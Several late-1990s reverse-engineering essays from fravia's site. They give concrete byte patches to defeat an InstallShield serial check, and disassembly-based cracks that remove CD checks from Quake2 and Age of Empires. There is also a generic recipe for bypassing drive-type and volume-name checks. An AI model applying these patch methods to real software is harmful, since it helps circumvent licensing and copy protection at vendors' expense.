41 00 00 .B..A....:.A..is empty! 6320 00 00 2A 00 61 2E 00 50 6C 65 61 73 65 20 65
6E ..*.a..Please en 6330 74 65 72 20 79 6F 75 72 20 6E 61 6D 65 20 74 6F ter yourname
to 6340 20 63 6F 6E 74 69 6E 75 65 20 77 69 74 68 20 73 continuewith s 6350 65 74 75
70 2E 41 01 00 FF FF 00 00 00 00 00 00 etup.A........ 6360 01 00 2C 00 70 D3 00 00
00 02 00 01 00 41 32 00 ..,.p.......A2. 6370 00 00 B8 00 00 00 06 00 B6 00 10 00 01
00 02 02 .............. 6380 00 00 05 00 00 00 2F 00 62 9B FF 21 00 32 2D 00
....../.b!.2-. 6390 42 00 00 21 00 32 9A FF 42 2D 00 21 00 32 99 FF
B..!.2B-.!.2 63A0 41 00 00 00 00 21 00 32 98 FF 41 00 00 00 00 00
A....!.2A..... 63B0 00 10 00 29 01 28 01 32 2D 00 42 99 FF 41 01 00
...).(.2-.BA.. (3) obviously! 63C0 00 00 42 9A FF 22 00 70 E5 00 95 42 2D 00 41 00

http://www.instinct.org/fravia/natz-1.htm (21 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

..B".p.B-.A. 63D0 00 00 00 7A 00 32 97 FF 52 9B FF 42 99 FF 28 01
...z.2RB(. 63E0 32 2D 00 42 97 FF 41 04 00 00 00 41 61 00 00 00
2-.BA....Aa... (4) 63F0 28 01 32 2E 00 42 97 FF 41 03 00 00 00 41 7A 00
(.2..BA....Az. (5) 6400 00 00 27 01 32 2F 00 42 2D 00 42 2E 00 28 01 32
..'.2/.B-.B..(.2 6410 2D 00 42 97 FF 41 04 00 00 00 41 41 00 00 00 28 .BA....AA...(
(6) 6420 01 32 2E 00 42 97 FF 41 03 00 00 00 41 5A 00 00 .2..BA....AZ.. (7) 6430 00
27 01 32 30 00 42 2D 00 42 2E 00 26 01 32 2D .'.20.B-.B..&.2- 6440 00 42 2F 00 42 30
00 22 00 70 DF 00 95 42 2D 00 .B/.B0.".p.B-. 6450 41 00 00 00 00 28 01 32 2E 00 42
99 FF 41 02 00 A....(.2..BA.. 6460 00 00 41 03 00 00 00 22 00 70 DD 00 95 42 2E 00
..A....".p.B.. 6470 41 00 00 00 00 2F 01 B7 00 41 00 00 00 00 00 00
A..../..A...... 6480 00 00 00 00 01 00 19 01 32 98 FF 42 98 FF 41 01
........2BA. 6490 00 00 00 00 00 00 00 00 00 08 00 28 01 32 2D 00
...........(.2-. 64A0 42 97 FF 41 04 00 00 00 41 30 00 00 00 28 01 32
BA....A0...(.2 (8) 64B0 2E 00 42 97 FF 41 03 00 00 00 41 39 00 00 00 27
..BA....A9...' (9) 64C0 01 32 2F 00 42 2D 00 42 2E 00 22 00 70 E3 00 95
.2/.B-.B..".p. 64D0 42 2F 00 41 00 00 00 00 28 01 32 2D 00 42 99 FF
B/.A....(.2-.B 64E0 41 01 00 00 00 41 03 00 00 00 22 00 70 E1 00 95
A....A....".p. 64F0 42 2D 00 41 00 00 00 00 2F 01 B7 00 41 00 00 00
B-.A..../..A... 6500 00 00 00 00 00 00 00 01 00 19 01 32 98 FF 42 98
...........2B 6510 FF 41 01 00 00 00 00 00 00 00 00 00 02 00 19 01
A.............. 6520 32 99 FF 42 99 FF 41 01 00 00 00 2C 00 70 DC 00
2BA....,.p. 6530 00 00 04 00 28 01 32 2D 00 42 98 FF 41 06 00 00
....(.2-.BA... (11) The Final check! 6540 00 41 0D 00 00 00 22 00 70 E6 00 95 42 2D
00 41 .A....".p.B-.A 6550 00 00 00 00 2F 01 B7 00 41 00 00 00 00 00 00 00
..../..A....... If you have change the byte at (3) offset (63BE) to 2 you will get
to the final check. (11) Setup will finally check if 13 chars of your serial were
valid! Just change byte at (11) offset (653D) to 5 and this Serial check will be
defeated! Summarize: You see now that Script Cracking is much easier than the first
approach! We only have to search for MessageBoxes and analyze the script. At all we
only have to edit (patch) the script and thats all=")" If i find out more
instructions then you even will be able to get a valid Serial(Keymaker)! A Decompiler
will follow anyway. Its only a question of time when it will be written so watch out
for it,hehe. __________________________ F) ADD-0ON This part will describe the most
common InstallSHIELD Installation. If Setup.exe (InstallSHIELD 2.x) is a 16 Bit
executeable, then its called The Installation launcher. It needs a support file
called _inst32i.ex_ to install under a win32 OS. This Installation is a bit different
from the one i have cracked in this Tutorial. _inst32i.ex_ is compressed but not with
icompx, but it dont matter! and it contains the following files : INSTALL.EXE
_INS0432._MP LZWSERV.EXE _INZ0432._MP WUTL95i.DLL _WUTL95.DLL BOOT16.EXE _INJ0432._MP
You can retrieve these File-Names at the beginning of _inst32i.ex_ by yourself. Setup
will do the initialization and then it uncompresses _inst32i.ex_ into your
Windows-Temp (C:\Windows\Temp). When ya start the Installation you will see the
following in Windows\Temp: <_ISTMP0.DIR> DIR This dir will be
created by _ins0432._mp!
_INS0432._MP 659 KB This is exactly Setup.exe from this
Tutorial !
_INZ0432._MP 20,1 KB This is LZWSERV.EXE (doing the
de-compress.)
_WUTIL95.DLL 36,0 KB A win95 support file

_ISTMP0.DIR content :
_SETUP.LIB 151 KB This is exactly the same compressed
lib file!
1f8584.DLL 89,0 KB Support DLL
_INSHELP.DLL 23,5 KB Yup, da same DLL!

http://www.instinct.org/fravia/natz-1.htm (22 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

_UNINST.EXE 292 KB Also da same one

You see now that there are the same files, but only renamed , thats all!
Copy and rename them if you wanna work with these files.

__________________________

G) WIN32.HLP

These Descriptions comes from win32.hlp

GetDriveType:

The GetDriveType function determines whether a disk drive is a removable,


fixed, CD-ROM, RAM disk, or network drive.

UINT GetDriveType(

LPCTSTR lpRootPathName // address of root path


);
Parameters

lpRootPathName

Points to a null-terminated string that specifies the root directory of


the disk to return information about. If lpRootPathName is NULL, the
function uses the root of the current directory.

Return Value

The return value specifies the type of drive. It can be one of the following values:

Value Meaning
0 The drive type cannot be determined.
1 The root directory does not exist.
2 The drive can be removed from the drive.
3 The disk cannot be removed from the drive.
4 The drive is a remote (network) drive.
5 The drive is a CD-ROM drive.
6 The drive is a RAM disk.

________

GetVolumeInformation:

The GetVolumeInformation function returns information about a file


system and volume whose root directory is specified.

BOOL GetVolumeInformation(

LPCTSTR lpRootPathName, // address of root directory of the file system


LPTSTR lpVolumeNameBuffer, // address of name of the volume
DWORD nVolumeNameSize, // length of lpVolumeNameBuffer
LPDWORD lpVolumeSerialNumber, // address of volume serial number

http://www.instinct.org/fravia/natz-1.htm (23 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

LPDWORD lpMaximumComponentLength, // address of system's maximum filename


length
LPDWORD lpFileSystemFlags, // address of file system flags
LPTSTR lpFileSystemNameBuffer, // address of name of file system
DWORD nFileSystemNameSize // length of lpFileSystemNameBuffer
);
Parameters

lpRootPathName

Points to a string that contains the root directory of the volume to be described.
If this parameter is NULL, the root of the current directory is used.

lpVolumeNameBuffer

Points to a buffer that receives the name of the specified volume.

nVolumeNameSize

Specifies the length, in characters, of the volume name buffer.


This parameter is ignored if the volume name buffer is not supplied.

lpVolumeSerialNumber

Points to a variable that receives the volume serial number. This


parameter can be NULL if the serial number is not required.

lpMaximumComponentLength

Points to a doubleword value that receives the maximum length, in


characters, of a filename component supported by the specified file
system. A filename component is that portion of a filename between
backslashes.

The value stored in variable pointed to by *lpMaximumComponentLength is


used to indicate that long names are supported by the specified file system.
For example, for a FAT file system supporting long names, the function
stores the value 255, rather than the previous 8.3 indicator.
Long names can also be supported on systems that use the NTFS and HPFS
file systems.

lpFileSystemFlags

Points to a doubleword that receives flags associated with the


specified file system. This parameter can be any combination of the
following flags, with one exception: FS_FILE_COMPRESSION and
FS_VOL_IS_COMPRESSED are mutually exclusive.

Value Meaning
FS_CASE_IS_PRESERVED If this flag is set, the file system preserves
the case of filenames when it places a name on disk.
FS_CASE_SENSITIVE If this flag is set, the file system supports
case-sensitive filenames.
FS_UNICODE_STORED_ON_DISK If this flag is set, the file system
supports Unicode in filenames as they appear on disk.

http://www.instinct.org/fravia/natz-1.htm (24 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

FS_PERSISTENT_ACLS If this flag is set, the file system preserves


and enforces ACLs. For example, NTFS preserves and enforces ACLs,
HPFS and FAT do not.
FS_FILE_COMPRESSION The file system supports file-based
compression.
FS_VOL_IS_COMPRESSED The specified volume is a compressed volume;
for example, a DoubleSpace volume.

lpFileSystemNameBuffer

Points to a buffer that receives the name of the file system


(such
as FAT, HPFS, or NTFS).

nFileSystemNameSize

Specifies the length, in characters, of the file system name


buffer. This parameter is ignored if the file system name buffer is
not supplied.

Return Value

If all the requested information is retrieved, the return


value is
TRUE; otherwise, it is FALSE. To get extended error information,
call GetLastError.

Remarks

The FS_VOL_IS_COMPRESSED flag is the only indicator of


volume-based
compression. The file system name is not altered to indicate
compression. This flag comes back set on a DoubleSpace volume, for
example. With volume-based compression, an entire volume is either
compressed or not compressed.
The FS_FILE_COMPRESSION flag indicates whether a file system
supports file-based compression. With file-based compression,
individual files can be compressed or not compressed.
The FS_FILE_COMPRESSION and FS_VOL_IS_COMPRESSED flags are
mutually
exclusive; both bits cannot come back set.

The maximum component length value, stored in the DWORD


variable
pointed to by lpMaximumComponentLength, is the only indicator that
a volume supports longer-than-normal FAT (or other file system)
file names. The file system name is not altered to indicate support
for long file names.
The GetCompressedFileSize function obtains the compressed
size of a
file. The GetFileAttributes function can determine whether an
individual file is compressed.

________

http://www.instinct.org/fravia/natz-1.htm (25 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

GetWindowText:

The GetWindowText function copies the text of the specified


window's title bar (if it has one) into a buffer. If the
specified
window is a control, the text of the control is copied.

int GetWindowText(

HWND hWnd, // handle of window or control with text


LPTSTR lpString, // address of buffer for text
int nMaxCount // maximum number of characters to
copy
);
Parameters

hWnd

Identifies the window or control containing the text.

lpString

Points to the buffer that will receive the text.

nMaxCount

Specifies the maximum number of characters to copy to the


buffer.
If the text exceeds this limit, it is truncated.

Return Value

If the function succeeds, the return value is the length, in


characters, of the copied string, not including the terminating
null character. If the window has no title bar or text, if the title
bar is empty, or if the window or control handle is invalid, the
return value is zero. To get extended error information, call
GetLastError.
This function cannot retrieve the text of an edit control in
another application.

Remarks
This function causes a WM_GETTEXT message to be sent to the specified window or
control.
This function cannot retrieve the text of an edit control in another application.

__________________________

H) LAST WORDS

Yeah, you made it =)

This is the end of this tutorial and i hope i could teach you
something , more or less.

http://www.instinct.org/fravia/natz-1.htm (26 of 27) [2/7/2001 3:21:59 PM]


natz-1.htm

If you have any questions, suggestions or just wanna gimme some feedback,
then just email me!
Also plz inform me if you have find out any error - iam only a human being =)

I dont exactly know what The next Tutorial (natz-2) will discuss yet,
So just watch out for it!

NaTzGUL/REVOLT
natzgul@hotmail.com

__________________________

I) GREETINGS

Groups:

REVOLT, #CRACKING, UCF, PC97, HERITAGE,CRC32


#CRACKING4NEWBIES, CORE, RZR, PWA, XF, DEV etc.

PERSONAL:

CoPhiber, Spanky, Doc-Man, Korak, lgb, DDensity, Krazy_N, delusion,


riches, Laamaah, Darkrat, wiesel, DirHauge, GnoStiC, JosephCo, niabi,
Voxel,TeRaPhY, NiTR8, Marlman, THE_OWL, razzia, K_LeCTeR, FaNt0m,
zz187, HP, Johnastig, StarFury, Hero, +ORC, +Crackers, fravia+,
LordCaligo, BASSMATIC, j0b ,xoanon, ED!SON etc.
(c) NaTzGUL. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to the advanced cracking section Back to Project 4 (CD-ROM cracking)

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/natz-1.htm (27 of 27) [2/7/2001 3:21:59 PM]


DataPimp's Quake2 CD-Rom reversing

Quake2 CD-Rom reversing


(More about CD-ROM deprotections and Cd-Checks)

by -= +DataPimp =-
(19 December 1997, slightly edited by fravia+)

Courtesy of fravia's page of reverse engineering


Well, I'm happy to host this essay about the removing of a CD-ROM protection check. In fact I just wonder
what is keeping our fellow readers (and +crackers) to work a little on the CD-ROM protections used by
Micro$oft in order to 'embrace and absorb' the whole game sector... I'm speaking of Microsoft Flight
Simulator 98 and of Age of Empires, for instance. In fact they are not difficult to remove... and you have the
Xmas-New year weeks to work on them! Merry Xmas to everyone!

Cracking Quake2 (Cracking "the most anticipated game of the decade")

Well that's what quake2 has been called. The game was released
in the USA on December 9th, although it has been availible for
download on the internet since last month.

In this essay we are going to explore a cd-check crack and an


interesting problem that it introduces and how to fix it.
When we complete this essay we will no doubt have a fully working
crack.

Let's start off by running quake2, we run it and so far it has not
given us an error, ok let's try to start a new game, then all of a
sudden the protection scheme kicks us out and we get a message saying
"You must have the Quake2 CD in the drive to play".

Damn, now let's fix that error message. I think that this kind of
protections are wrong, companies do this on purpose, if they make you
have the cd in the drive at the time of play then you can't play network
games without everyone you want to play having a cd. It's unjust! I
bought my game and I want to play my bought game with my friends! Besides
I like to hear my own music when I play... and I should not be able
to use my own CD-drive to hear my own music in my own house? Companies
do this on purpose, they probably hate good music :)

Well let's fix that... in a few short minutes we will have it cracked.

OK let's begin by loading up "Quake2.exe" in the dissembler, and we


already know the text that appears inside the error message box.
Ok so let's look at the string data references, hmmm, ah, yes!

http://www.instinct.org/fravia/dpquake2.htm (1 of 4) [2/7/2001 3:22:05 PM]


DataPimp's Quake2 CD-Rom reversing

towards the bottom you notice the text that we are looking for, so we
double click on it inside wdasm.

Doing that, we now land inside the following code:

* Referenced by a Jump at Address:0042B0FE(C)


|
:0042B115 8A442404 mov al, byte ptr [esp+04]
:0042B119 FEC0 inc al
:0042B11B 3C7A cmp al, 7A
:0042B11D 88442404 mov byte ptr [esp+04], al
:0042B121 0F8E6AFFFFFF jle 0042B091

* StringData Ref from Data Obj ->"You must have the Quake2 CD in "
->"the drive to play."

Ok so let's now go to code offset "0042B0FE", and have a look at the


code that calls the above snippet.
When we examine "0042B0FE" we see the following, please have a
'deep' reversing look at it, see if you can feel the protection by
yourself:

* Referenced by a Jump at Address:0042B0BC(C)


|
:0042B0D3 8D4C2404 lea ecx, dword ptr [esp+04]
:0042B0D7 8D542408 lea edx, dword ptr [esp+08]
:0042B0DB 51 push ecx

* Possible StringData Ref from Data Obj ->"%s\quake2.exe"


|
:0042B0DC 6880474400 push 00444780
:0042B0E1 52 push edx
:0042B0E2 E839430000 call 0042F420
:0042B0E7 83C40C add esp, 0000000C
:0042B0EA 8D442408 lea eax, dword ptr [esp+08]

* Possible StringData Ref from Data Obj ->"r"


|
:0042B0EE 6890474400 push 00444790
:0042B0F3 50 push eax
:0042B0F4 E897250000 call 0042D690
:0042B0F9 83C408 add esp, 00000008
:0042B0FC 85C0 test eax, eax
:0042B0FE 7415 je 0042B115
:0042B100 50 push eax
:0042B101 E86A200000 call 0042D170
:0042B106 83C404 add esp, 00000004
:0042B109 8D4C2404 lea ecx, dword ptr [esp+04]

http://www.instinct.org/fravia/dpquake2.htm (2 of 4) [2/7/2001 3:22:05 PM]


DataPimp's Quake2 CD-Rom reversing

:0042B10D 51 push ecx


:0042B10E FFD6 call esi
:0042B110 83F805 cmp eax,5
:0042B113 7421 je 0042B136

Ok now before we do anything else, we need to backup the original


"quake2.exe" file.
Ok now let's have a look at the code above, which tells me that it
is looking for "quake2.exe".
Now if you notice the string "%s\quake2.exe" you might be wondering
what that "%s" means, well that "%s" is a variable that will be assigned
to it as the program runs, so that it might become "e:\quake2.exe",
for example, at run time.

Now hmmm, how can we fix that?


Well, you see there... that is a string data refrence, it's plain
text, let's search for it in ultraedit, so load up quake2.exe into
ultraedit and let's search for the ASCII string "%s\quake2.exe" you
will notice that it shows up.
Now, we want to be able to run this program without any problem and
without the silly cd that we have bought, therefore just with the
files that the game needs.
Now we are going to move it, get the "%" highlighted hit the
insert key and then hit space bar. We have now cleared the "%" out
of the string, now our cursor is positioned on the "s".
Go ahead now and type ".". Leave the "\quake2.exe" alone.
Doing this we have told the program to look in the current dir for
the file instead of where it would have been looking.

Ok, let's fire up quake2 again, after of course you save the changes
that you have made to the file, and you will see now that you will be
able to launch a new game, if you feel like it.

Why does it work?


Simple (if you understand dos): if you type "cd.." at the command prompt
while in the windows dir, then it will take you to "c:\" because it means
to drop one level lower in the dir tree.
But "." is the current dir, if you would have just wiped out both the
"%" and the "s" then it would have been looking in the root dir of
whatever drive you had the quake2 files in.

Now it seems as if we have completed our crack.


Yet this is not true. Remember what I said at the beginning about a
problem that our crack produces? Now, if you look towards the end
of the snippet of code above you will see a "cmp eax,5". Just above
that compare there is a call and then, below the compare, there is
a je command.
Right when I saw this I knew what it was: our target is checking if

http://www.instinct.org/fravia/dpquake2.htm (3 of 4) [2/7/2001 3:22:05 PM]


DataPimp's Quake2 CD-Rom reversing

that what it has found is or not a cd-rom!


Now if you don't have a cd-rom installed in your computer at all
then you will still get the error message.
So let's change that "je" to "jmp" and save that file.
As an hexeditor I personally use HIEW.
Now let's fire up Quake2, and you will see that it works fine.

So it has turned out now that we have totally completed the crack, our
target won't require the cd at all.
I hope this helps all people that love music.
If you have any questions or comments please contact me using one of
the methods below.

E-Mail: DataPimp@hotmail.com
ICQ: 5613620
Or Join #o13 on EFNet

Thanks goes to:


Everyone in o13, rake, Balti, WTFMI, Teir, thanks for the idea :)
(c) -= +DataPimp =- All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 4

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/dpquake2.htm (4 of 4) [2/7/2001 3:22:05 PM]


The cracking of "Age of Empires"

The cracking of "Age of Empires"


(with a general digression about CD-based copy protections of most Windows95 games)

by TWD
(28 December 1997, poorly edited by fravia+)

Courtesy of fravia's page of reverse engineering


Well, it was about time! If all anti-micro$oft crackers would really put their reversing capabilities where their mouths
are, Micro$oft would already be bankrupt... unfortunately we keep looking for interesting protection schemes, and
there is really nothing much interesting in whatever these incredibly incapable bunch of commercial evil
programmers do... yet, once more, this kind of cracking is VERY IMPORTANT! Age of empires is a (strategically
crippled) 'megabucks' troyan horse... one of those -mostly pathetical- "Micro$oft sponsored" games that are pushed
like few others in order to compel people to use windoze... look at the specs for Age of Empires, only very incapable
programmers could compel such a config!
- Windoze95 or WindozeNT 4.0 with ServicePackBugCorrect 3 Why? Are they really so uncapable programmers that
they have to target a single operating system or have they been bought by Micro$oft's banes to say this?;
- 24 Megabytes ram... why? There are magical graphical programs that squeeze vectors and graphics inside 8 (eight)
megabytes... and this poor simple game needs 24!;
- 80 MB of available harddisk PLUS 50 Megabytes of swapping space... why? are they really uncapable to squeeze
graphic? Do they really need 130 (read: onehundredand thirty) megabytes to have some catapults roll on board?;
- Quad-speed CD-ROM drive A typical request by incapable programmers...

It's disgusting: man I could myself squeeze this crap into less than one half of these specs in a couple of hours! It's a
shame! "One of the most ambitious games we've ever seen..."? One of the most overbloated games we've ever seen!

Micro$oft bashing
~~~~~~~~~~~~~~~~~

The cracking of "Age of Empires"


================================
(a general digression about CD-based copy
protections of most Windows95 games)
by TWD

Hi back again,

it's going to be Christmas and the whole world is going to shop.


Advertising is legalized lying, said someone.
Remember this, especially every time it's Christmas.

Examining a game from big brother Micro$oft (of course we have


bought it: part NO: X03-44492 :-) we have noticed a bug that may
annoy all the poor boys (and girls) all over the (poor) world,
whose's (poor) father and mothers, for instance, have lost their

http://www.instinct.org/fravia/twd_aeo.htm (1 of 5) [2/7/2001 3:22:11 PM]


The cracking of "Age of Empires"

(poor) jobs thanks to Micro$oft's (poor) society.


See: this reversing is a present for those who won't get no
presents at all during these merry (poor) holidays, poor chaps,
yet would need so much to evaluate (fully) this interesting
(if overbloated) historical game... so let's crack it!

And anyway I need my own cd-drive free from my own bought CD-games
in order to hear my own music CD... something against this? :-)

Age of Empires comes on one CD-ROM; the CD-ROM can be taken


out after the game is running.
I think that this tells us, that there is only one check for the CD at
the beginning, when Age of Empires starts.

Little (important) digression


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's say something general about copy protections of Windows95 games.


They are nearly all the same, and they aren't really copy protections.
They all work something like this :

(1) put "c:\" in a variable, let's say "xrom"


(2) test if "xrom" is the CD-Drive, by using "GetDriveTypeA"
(3) if result = 5 then continue at step 5
(4) else increment the drive letter and go back to (2)
(5) use the letter in "xrom" to complete all path names.
(6) if it will never find a CD-Drive, a error message appears

A lot of games are doing it like this.


How to crack this ??? Nothing easier like this. Don't put "c:\" in the
variable, but the desired CD-drive letter. Then remove the
"GetDriveTypeA" call and write something like "mov eax, 00000005".
Sometimes a "GetVolumeInformationA" follows, but it's no problem
to avoid the program to exit by this.

Example games for this kind of protection :

- Beasts and Bumpkins


- Descent ][
- Diablo
- Panzer General IIID
- and many more

End of digression
~~~~~~~~~~~~~~~~~

On the "Most stupid protections" +HCU's project is said that the


more commercial a product is, the more stupid it's protection

http://www.instinct.org/fravia/twd_aeo.htm (2 of 5) [2/7/2001 3:22:11 PM]


The cracking of "Age of Empires"

will be.
This is sure confirmed if you take a look at "Age of Empires".

The path to the CD is stored in the registry and only needed to find
the oversized AVI philez.

Set a breakpoint on "GetDriveTypeA" and start "Age of Empires".


SoftIce pops up a few times in the "LinkInfo" module, nut this is not
interesting.
Sometime later, SoftIce pops up in the "Empire" module at
this position:

:004D65F5 57 push edi <-- the CD path


:004D65F6 FF1554267000 Call KERNEL32.GetDriveTypeA <-- SoftIce pops up here
:004D65FC 83F805 cmp eax, 00000005 <-- Is it the CD-ROM ???
:004D65FF 7404 je 004D6605 <-- Yes ? --> jump !
:004D6601 33C0 xor eax, eax <-- No ? --> stay !
:004D6603 EB53 jmp 004D6658

In edi is the pointer to the CD path. The result of GetDriveTypeA


is "00000005" if the checked drive is a CD drive. If the given drive
is a CD drive, the program continues below :

...

:004D662B 57 push edi <-- the CD path


:004D662C FF1558267000 Call KERNEL32.GetVolumeInformationA
:004D6632 85C0 test eax, eax
:004D6634 B800000000 mov eax, 00000000
:004D6639 741D je 004D6658
:004D663B 8B460C mov eax, dword ptr [esi+0C]
:004D663E 8D4C241C lea ecx, dword ptr [esp+1C]
:004D6642 05FD020000 add eax, 000002FD
:004D6647 50 push eax
:004D6648 51 push ecx
:004D6649 E802D60500 call 00533C50 <-- strcmpi
:004D664E 83C408 add esp, 00000008
:004D6651 83F801 cmp eax, 00000001
:004D6654 1BC0 sbb eax, eax
:004D6656 F7D8 neg eax

As you can see, not only the type of drive is checked, but also the name
of the drive.
In ecx is the pointer to the name of the CD currently in your CD-ROM, in
eax is the pointer to the expected name : "AOE"

If the compare succeeded, the result of the complete function is "01",

http://www.instinct.org/fravia/twd_aeo.htm (3 of 5) [2/7/2001 3:22:11 PM]


The cracking of "Age of Empires"

else it is zero.

To patch "Age of Empires", this function has to return "01" every time
it is called. No problem for us, of course: let's look at the top of
the function :

:004D6550 81EC0C020000 sub esp, 0000020C


:004D6556 53 push ebx
:004D6557 56 push esi
:004D6558 8B410C mov eax, dword ptr [ecx+0C]
:004D655B 57 push edi
:004D655C 55 push ebp
:004D655D 8BF1 mov esi, ecx
:004D655F 8B8808040000 mov ecx, dword ptr [eax+00000408]
:004D6565 85C9 test ecx, ecx
:004D6567 750A jne 004D6573 <--blast this one
:004D6569 B801000000 mov eax, 00000001
:004D656E E9E5000000 jmp 004D6658 <--jump to the end

As we can see from the small piece of code above, the only thing which
is to do, is to blast the jne at 004d6567. If this is done, the function
will always return "eax = 01".

After I nopped out some bytes (in my essay about W32Dasm 8.7) I was mildly
criticized by fravia+, now I learned and I prefer to use this sequence :

41 inc ecx
49 dec ecx

This one is doing nothing as good as two nops would do, but it can not
be detected by some protection algorithms.

Summary
~~~~~~~

"Age of Empires" was as silly and easy to cheat as most of the time trial
versions, created by Micro$oft. The patch can be reduced to a single "jne
blasting out", this should, normally, be too easy to be true, yet most of
these games compel in such a silly way legitime users to occupy their own
CD-drive with a CD-ROM they have NOT chosen to have there!

After patching the program, it is even possible to delete all the


x-tra large avi phileZ, cause they waste nearly 100 megz of space.

Time to pay respect


~~~~~~~~~~~~~~~~~~~
Last but not least,
there are two people I want pay respect to :

- First fravia+ who hosts one of the most interesting pages on

http://www.instinct.org/fravia/twd_aeo.htm (4 of 5) [2/7/2001 3:22:11 PM]


The cracking of "Age of Empires"

the whole net. If you want to find any knowledge about cracking
(or computers in a more general way), pay a visit to
http://www.fravia.org

- Second to Quine who had cracked IDA in a very special way.


Disassembling with IDA is much more satisfying, than doing it
with good old W32Dasm, just try it.
I have to say that I was nearly as far with cracking IDA, but
my 'working target' kept always crashing, because no mem was
reserved. Respects to Quine!

This was our Micro$oft cracking for today, questions can -as usual-
be asked at :
mailto:twd.rulez@gmx.net?subject=I've got a question about Micro$oftcracking...

Bye (till next time)

TWD

(c) TWD All rights reversed

ObStupidreaders
Of course you should BUY this overbloated game (you better buy a Pentium 200 first, tough) and you should NOT
come to the idea of using only one Age of empires CD-ROM (if ever... you could of course find the razor distributed
copy on the web for free, if you seek) in order to 'seed' this game, as cracked above by TWD, in all your friends and
friends' friends and friends' friends' friends computers. This would be un-ethical, I'm afraid, since Micro$oft and their
overbloated programmers slaves would risk loosing some money thattaway. So don't do it, you scoundrels! I did'nt, I
bought my own copy: 0897 Part No. 92681: "Simply fill in the card, choose your local Micro$oft office from the
leaflet..." :-)

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 9 (M$-bashing) Back to Project 4 (CD-Rom)

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/twd_aeo.htm (5 of 5) [2/7/2001 3:22:11 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

+HCU Project 9 ~ Microsoft Bashing


Project start: Last update:
August 1997 June 1999

How to squash all Micro$oft's protection schemes ~


Micro$oft's concealed activities inside your computer
Micro$oft's IE exploits (security weaknesses) ~ Shut
M$IE users out of your site
[Malign anti-M$ related stuff] [Our essays] [A legitimate question]
[Some Tricks] [Did you know that...] [Get rid of Outlook Express now!]
[System administrators answering a troll] [Shut M$IE users out of your site]
[Remote Explorer: McAfee's selling trick or an interesting target?]

Gates, diediedie!
A very important project, since our main
"holy" purpose is to eliminate this company
and its servants (and lackeys) from our planet.
The reasons should be obvious for anyone that
can understand the difference between buggy
and awful overbloated code and slick
operating systems and applications, else try
yourself to cut and paste two pages of text with
Microsoft's pathetical Word for windows and
you'll see what for crap many humans on this
planet are being compelled to use :-)

Well, developments seem, for once, to run


positively: when we started this section, more
than a year ago, "Micro$oft bashing" was
quite seldom encountered on the Web, now
there are a plethora of sites that collect all
possible anti-M$ information. A year ago M$
march towards world-domination did seem
unstoppable: now they are in deep trouble:
since windows comes now in more than three
flawours: M$95, M$98 (a completely useless
flop) and M$NT, even the most zombizied users
are beginning to wonder if they shouldn't

http://www.instinct.org/fravia/project9.htm (1 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

slowly look for alternatives and Linux is


gaining momentum among 'lower' users and
sweeping away NT among 'higher' users.
Moreover M$, even if it all but sunk Netscape
through M$IE dumping and bundling, is now
facing a much more terrible concurrence by
Opera, a browser that, compared to M$IE,
remembers a good European car against one
of those huge, slow, gas-wasteful and useless
American cars.
A little bird told us that the fairly recent
Micro$oft's flight simulator can be transposed
and run from any hard disk without much
problems. So if you happen to have a friend's
friend's friend that has got from a public
medialibrary a borrowed copy of a 'real'
Micro$oft's flightsimulator 98 CD-ROM, don't
ask him to copy it on your hard disk, since you
could in that case run it without having paid a
penny to Bill Gates's slaves, which in some
countries and under some circumstances could
be considered an unproper behaviour

From Fravia's own private


"cracking posters" collection

"+ORC teachings sprone us to victory" ~ 1998

Malign Micro$oft's related stuff

[Roberto Di Cosmo's "Dirty Micro$oft tricks"] CYBERSNARE: Don't tell me anymore that Micro$oft should be
allowed to exist
[Other dirty Micro$oft tricks] Don't tell me anymore that Micro$oft deserves a kindler treatment
[Operating System Sucks-Rules-O-Meter ] A wonderful way to use Altavista (Linux rules of course :-)

http://www.instinct.org/fravia/project9.htm (2 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

[Kenneth Barbalace's STOP M$] Make your pages MSIE unfriendly :-)
[YAMOO] Index of over 1,000 anti-Microsoft, anti-Gates, anti-Wintel, and anti-monopoly sites on the Internet. :-)

Shut M$IE users out of your site

[All my Anti-MSIE scripts] Shut those lusers using MSIE out of your site (or redirect them to download Opera) :-)

Our essays

PHASE 1 by ViceVersa+:

FrontPage 97 beta, 11 May 1997


(a first step in the right direction) - (vicever2.htm: FVP09F01)
PHASE 2 by Epic Lord:

FrontPage 98 English beta 1 for Windows 95 & NT 4.0, 14 May 1997


(a quick crack, but worthy) - (epic2.htm: FVP09F02)
PHASE 3 by SiuL Hacky:

THE TROJAN HORSE RACE'S JUST STARTED, 15 May 1997

(actually not a crack but a crack request) - (siulha2.htm: FVP09F03)


PHASE 4 by +Sync:

Cracking MS FrontPage 3.0.1.726 & MS Image Composer 1.5, 15 May 1997


(Let's crack Micro$oft to the bones!) - (syncms1.htm: FVP09F04)
PHASE 5 (+ORC's 4.2 Strainer) by various +HCUkers:

Solving the strainer, 15 September 1997


MsMoney 3.0 / MsMoney 5.0 / MsProject 4.1: quite a lot of very good solutions by all the capable +crackers that
will work with us during the 1998 +HCU!- (solution.htm: FVP09F05)
Don't miss these beautiful essays!
PHASE 6 by TWD:

Cracking MS-FrontPage 98 Beta2, 15 Oct 1997


(Is Micro$oft kidding?) - (twdms98.htm: FVP09F06)

